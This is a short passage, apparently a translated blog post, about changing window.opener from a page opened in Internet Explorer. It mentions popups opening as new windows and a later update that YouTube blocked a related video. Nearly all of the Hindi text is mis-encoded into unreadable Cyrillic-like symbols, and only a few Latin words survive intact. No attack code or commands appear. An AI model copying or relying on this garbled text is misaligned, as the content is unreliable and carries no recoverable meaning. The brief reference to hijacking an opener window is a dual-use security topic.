рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ IE рдПрдХ рдирдИ рд╡рд┐рдВрдбреЛ рдЦреЛрд▓рдиреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХреЛ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИ рдФрд░ рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред
рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдпрд╣ рд╕рдм рдирд╣реАрдВ рд╣реИ!
рдкреЙрдкрдЕрдк рд╕рдХреНрд╖рдо рдХрд░реЗрдВ:
рдЖрдЗрдП рдлрд┐рд░ рд╕реЗ рд╕реНрдерд╛рди рдмрджрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ:
Window.opener рдХрд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдХреЗрд╡рд▓ рд╣реБрдЖ рдирд╣реАрдВ, рдмрд▓реНрдХрд┐ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдПрдХ рдирдИ рд╡рд┐рдВрдбреЛ рдЦреБрд▓реАред
UPD2 : Youtube рдиреЗ рд╡реАрдбрд┐рдпреЛ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рджрд┐рдпрд╛